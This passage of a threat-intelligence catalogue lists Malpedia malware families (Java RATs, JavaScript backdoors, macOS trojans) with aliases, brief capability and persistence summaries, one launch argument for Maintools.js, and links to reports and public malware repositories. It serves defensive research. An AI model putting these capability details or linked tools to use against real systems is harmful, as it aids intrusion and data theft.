Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: misp-galaxy:malpedia="AdWind"

AdWind is also known as:

AlienSpy
Frutas
JBifrost
JSocket
Sockrat
UNRECOM

Table 931. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind
https://blogs.seqrite.com/evolution-of-jrat-java-malware/
https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat
http://malware-traffic-analysis.net/2017/07/04/index.html
https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/
https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885
https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html

Banload

The tag is: misp-galaxy:malpedia="Banload"

Banload is also known as:

Table 932. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload
https://colin.guru/index.php?title=Advanced_Banload_Analysis
https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload

CrossRAT

The tag is: misp-galaxy:malpedia="CrossRAT"

CrossRAT is also known as:

Trupto

Table 933. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat
https://objective-see.com/blog/blog_0x28.html
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

FEimea RAT

The tag is: misp-galaxy:malpedia="FEimea RAT"

FEimea RAT is also known as:

Table 934. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/

JavaDispCash

The tag is: misp-galaxy:malpedia="JavaDispCash"

JavaDispCash is also known as:

Table 935. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash
https://twitter.com/r3c0nst/status/1111254169623674882

jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: misp-galaxy:malpedia="jRAT"

jRAT is also known as:

Jacksbot

Table 936. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered
https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/
https://github.com/java-rat
https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/

jSpy

The tag is: misp-galaxy:malpedia="jSpy"

jSpy is also known as:

Table 937. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy
https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: misp-galaxy:malpedia="Qarallax RAT"

Qarallax RAT is also known as:

Table 938. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat
http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/

Qealler

The tag is: misp-galaxy:malpedia="Qealler"

Qealler is also known as:

Table 939. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler
https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer

QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, …), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: misp-galaxy:malpedia="QRat"

QRat is also known as:

Quaverse RAT

Table 940. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/
https://blogs.forcepoint.com/security-labs/look-qrypter-adwind%E2%80%99s-major-rival-cross-platform-maas-market
https://www.digitrustgroup.com/java-rat-qrat/

Ratty

Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.

The tag is: misp-galaxy:malpedia="Ratty"

Ratty is also known as:

Table 941. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty
https://github.com/shotskeber/Ratty

SupremeBot

The tag is: misp-galaxy:malpedia="SupremeBot"

SupremeBot is also known as:

BlazeBot

Table 942. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/

AIRBREAK

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.

The tag is: misp-galaxy:malpedia="AIRBREAK"

AIRBREAK is also known as:

Table 943. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html

Bateleur

The tag is: misp-galaxy:malpedia="Bateleur"

Bateleur is also known as:

Table 944. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor

BELLHOP

BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
Creating a Run key in the Registry
Creating a RunOnce key in the Registry
Creating a persistent named scheduled task
BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.

The tag is: misp-galaxy:malpedia="BELLHOP"

BELLHOP is also known as:

Table 945. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

CACTUSTORCH

According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.

The tag is: misp-galaxy:malpedia="CACTUSTORCH"

CACTUSTORCH is also known as:

Table 946. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch
https://www.codercto.com/a/46729.html
https://github.com/mdsecactivebreach/CACTUSTORCH

CryptoNight

WebAssembly-based crpyto miner.

The tag is: misp-galaxy:malpedia="CryptoNight"

CryptoNight is also known as:

Table 947. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec
https://twitter.com/JohnLaTwC/status/983011262731714565

CukieGrab

The tag is: misp-galaxy:malpedia="CukieGrab"

CukieGrab is also known as:

Roblox Trade Assist

Table 948. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx
http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/

DNSRat

The tag is: misp-galaxy:malpedia="DNSRat"

DNSRat is also known as:

DNSbot

Table 949. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/

EVILNUM (Javascript)

The tag is: misp-galaxy:malpedia="EVILNUM (Javascript)"

EVILNUM (Javascript) is also known as:

Table 950. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html

Griffon

The tag is: misp-galaxy:malpedia="Griffon"

Griffon is also known as:

Table 951. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon
https://twitter.com/ItsReallyNick/status/1059898708286939136

KopiLuwak

The tag is: misp-galaxy:malpedia="KopiLuwak"

KopiLuwak is also known as:

Table 952. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak
https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/

magecart

The tag is: misp-galaxy:malpedia="magecart"

magecart is also known as:

Table 953. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart
https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/
https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/
https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/

More_eggs

More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands

The tag is: misp-galaxy:malpedia="More_eggs"

More_eggs is also known as:

SpicyOmelette

Table 954. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://blog.morphisec.com/cobalt-gang-2.0

NanHaiShu

NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.

The tag is: misp-galaxy:malpedia="NanHaiShu"

NanHaiShu is also known as:

Table 955. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu
https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering
https://attack.mitre.org/software/S0228/
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

Powmet

The tag is: misp-galaxy:malpedia="Powmet"

Powmet is also known as:

Table 956. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

scanbox

The tag is: misp-galaxy:malpedia="scanbox"

scanbox is also known as:

Table 957. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox
https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
http://resources.infosecinstitute.com/scanbox-framework/

SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

The tag is: misp-galaxy:malpedia="SQLRat"

SQLRat is also known as:

Table 958. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/

HTML5 Encoding

The tag is: misp-galaxy:malpedia="HTML5 Encoding"

HTML5 Encoding is also known as:

Table 959. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/

Maintools.js

Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.

The tag is: misp-galaxy:malpedia="Maintools.js"

Maintools.js is also known as:

Table 960. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools
https://twitter.com/JohnLaTwC/status/915590893155098629

Unidentified 050 (APT32 Profiler)

The tag is: misp-galaxy:malpedia="Unidentified 050 (APT32 Profiler)"

Unidentified 050 (APT32 Profiler) is also known as:

Table 961. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_050
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f
https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef

witchcoven

The tag is: misp-galaxy:malpedia="witchcoven"

witchcoven is also known as:

Table 962. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

AppleJeus

The tag is: misp-galaxy:malpedia="AppleJeus"

AppleJeus is also known as:

Table 963. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus
https://securelist.com/operation-applejeus/87553/

Bella

The tag is: misp-galaxy:malpedia="Bella"

Bella is also known as:

Table 964. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella
https://github.com/kai5263499/Bella
https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/

Careto

The tag is: misp-galaxy:malpedia="Careto"

Careto is also known as:

Appetite
Mask

Table 965. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

CoinThief

The tag is: misp-galaxy:malpedia="CoinThief"

CoinThief is also known as:

Table 966. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

Coldroot RAT

The tag is: misp-galaxy:malpedia="Coldroot RAT"

Coldroot RAT is also known as:

Table 967. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat
https://objective-see.com/blog/blog_0x2A.html

CpuMeaner

The tag is: misp-galaxy:malpedia="CpuMeaner"

CpuMeaner is also known as:

Table 968. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/

CreativeUpdater

The tag is: misp-galaxy:malpedia="CreativeUpdater"

CreativeUpdater is also known as:

Table 969. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater
https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/
https://objective-see.com/blog/blog_0x29.html
https://digitasecurity.com/blog/2018/02/05/creativeupdater/

Crisis (OS X)

The tag is: misp-galaxy:malpedia="Crisis (OS X)"

Crisis (OS X) is also known as:

Table 970. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines

Crossrider

The tag is: misp-galaxy:malpedia="Crossrider"

Crossrider is also known as:

Table 971. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/?utm_source=twitter&utm_medium=social

DarthMiner

The tag is: misp-galaxy:malpedia="DarthMiner"

DarthMiner is also known as:

Table 972. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.darthminer
https://blog.malwarebytes.com/threat-analysis/2018/12/mac-malware-combines-empyre-backdoor-and-xmrig-miner/

Dockster

The tag is: misp-galaxy:malpedia="Dockster"

Dockster is also known as:

Table 973. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html
https://www.f-secure.com/weblog/archives/00002466.html

Dummy

The tag is: misp-galaxy:malpedia="Dummy"

Dummy is also known as:

Table 974. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dummy
https://objective-see.com/blog/blog_0x32.html

Eleanor

The tag is: misp-galaxy:malpedia="Eleanor"

Eleanor is also known as:

Table 975. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor
https://labs.bitdefender.com/2016/07/new-mac-backdoor-nukes-os-x-systems/

EvilOSX

The tag is: misp-galaxy:malpedia="EvilOSX"

EvilOSX is also known as:

Table 976. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx
https://github.com/Marten4n6/EvilOSX
https://twitter.com/JohnLaTwC/status/966139336436498432

FailyTale

The tag is: misp-galaxy:malpedia="FailyTale"

FailyTale is also known as:

Table 977. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/

FlashBack

The tag is: misp-galaxy:malpedia="FlashBack"

FlashBack is also known as:

Table 978. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback
http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed
http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html

FruitFly

The tag is: misp-galaxy:malpedia="FruitFly"

FruitFly is also known as:

Quimitchin

Table 979. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly
https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/
https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/
https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Patrick-Wardle-Offensive-Malware-Analysis-Fruit-Fly-UPDATED..pdf

HiddenLotus

The tag is: misp-galaxy:malpedia="HiddenLotus"

HiddenLotus is also known as:

Table 980. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus
https://blog.malwarebytes.com/threat-analysis/2017/12/interesting-disguise-employed-by-new-mac-malware/

iMuler

The tag is: misp-galaxy:malpedia="iMuler"

iMuler is also known as:

Revir

Table 981. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html
https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/

KeRanger

The tag is: misp-galaxy:malpedia="KeRanger"

KeRanger is also known as:

Table 982. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger
https://objective-see.com/blog/blog_0x16.html
https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html
http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/

Keydnap

The tag is: misp-galaxy:malpedia="Keydnap"

Keydnap is also known as:

Table 983. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap
https://objective-see.com/blog/blog_0x16.html
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://github.com/eset/malware-ioc/tree/master/keydnap

Kitmos

The tag is: misp-galaxy:malpedia="Kitmos"

Kitmos is also known as:

KitM

Table 984. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos
https://www.f-secure.com/weblog/archives/00002558.html

Komplex

The tag is: misp-galaxy:malpedia="Komplex"

Komplex is also known as:

JHUHUGIT
JKEYSKW
SedUploader

Table 985. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://objective-see.com/blog/blog_0x16.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/

Laoshu

The tag is: misp-galaxy:malpedia="Laoshu"

Laoshu is also known as:

Table 986. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu
https://objective-see.com/blog/blog_0x16.html
https://nakedsecurity.sophos.com/2014/01/21/data-stealing-malware-targets-mac-users-in-undelivered-courier-item-attack/

Leverage

The tag is: misp-galaxy:malpedia="Leverage"

Leverage is also known as:

Table 987. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage
https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis
https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/

MacDownloader

The tag is: misp-galaxy:malpedia="MacDownloader"

MacDownloader is also known as:

Table 988. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader
https://iranthreats.github.io/resources/macdownloader-macos-malware/

MacInstaller

The tag is: misp-galaxy:malpedia="MacInstaller"

MacInstaller is also known as:

Table 989. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller
https://objective-see.com/blog/blog_0x16.html

MacRansom

The tag is: misp-galaxy:malpedia="MacRansom"

MacRansom is also known as:

Table 990. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom
https://objective-see.com/blog/blog_0x1E.html
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service

MacSpy

The tag is: misp-galaxy:malpedia="MacSpy"

MacSpy is also known as:

Table 991. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macspy
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service

MacVX

The tag is: misp-galaxy:malpedia="MacVX"

MacVX is also known as:

Table 992. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx
https://objective-see.com/blog/blog_0x16.html

MaMi

The tag is: misp-galaxy:malpedia="MaMi"

MaMi is also known as:

Table 993. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami
https://objective-see.com/blog/blog_0x26.html

Mokes (OS X)

The tag is: misp-galaxy:malpedia="Mokes (OS X)"

Mokes (OS X) is also known as:

Table 994. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/
https://objective-see.com/blog/blog_0x16.html

Mughthesec

The tag is: misp-galaxy:malpedia="Mughthesec"

Mughthesec is also known as:

Table 995. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec
https://objective-see.com/blog/blog_0x20.html

OceanLotus

The tag is: misp-galaxy:malpedia="OceanLotus"

OceanLotus is also known as:

Table 996. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/

Olyx

The tag is: misp-galaxy:malpedia="Olyx"

Olyx is also known as:

Table 997. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://news.drweb.com/show/?i=1750&lng=en&c=14

Patcher

The tag is: misp-galaxy:malpedia="Patcher"

Patcher is also known as:

FileCoder
Findzip

Table 998. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/

PintSized

Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.

The tag is: misp-galaxy:malpedia="PintSized"

PintSized is also known as:

Table 999. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized
https://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/

Pirrit

The tag is: misp-galaxy:malpedia="Pirrit"

Pirrit is also known as:

Table 1000. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit
http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

Proton RAT

The tag is: misp-galaxy:malpedia="Proton RAT"

Proton RAT is also known as:

Calisto

Table 1001. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat
https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does
https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/
https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/
https://securelist.com/calisto-trojan-for-macos/86543/
https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/
https://objective-see.com/blog/blog_0x1F.html
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/
https://objective-see.com/blog/blog_0x1D.html
https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf

Pwnet

Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.

The tag is: misp-galaxy:malpedia="Pwnet"

Pwnet is also known as:

Table 1002. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: misp-galaxy:malpedia="Dok"

Dok is also known as:

Retefe

Table 1003. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe
http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://www.brycampbell.co.uk/new-blog/2017/4/30/retefe-and-osxdok-one-and-the-same
https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/

systemd

General purpose backdoor

The tag is: misp-galaxy:malpedia="systemd"

systemd is also known as:

Table 1004. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd
https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en

Tsunami (OS X)

The tag is: misp-galaxy:malpedia="Tsunami (OS X)"

Tsunami (OS X) is also known as:

Table 1005. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami
https://www.intego.com/mac-security-blog/tsunami-backdoor-can-be-used-for-denial-of-service-attacks

Uroburos (OS X)

The tag is: misp-galaxy:malpedia="Uroburos (OS X)"

Uroburos (OS X) is also known as:

Table 1006. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos
https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/
https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/

WindTail

The tag is: misp-galaxy:malpedia="WindTail"

WindTail is also known as:

Table 1007. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail
https://objective-see.com/blog/blog_0x3D.html
https://objective-see.com/blog/blog_0x3B.html
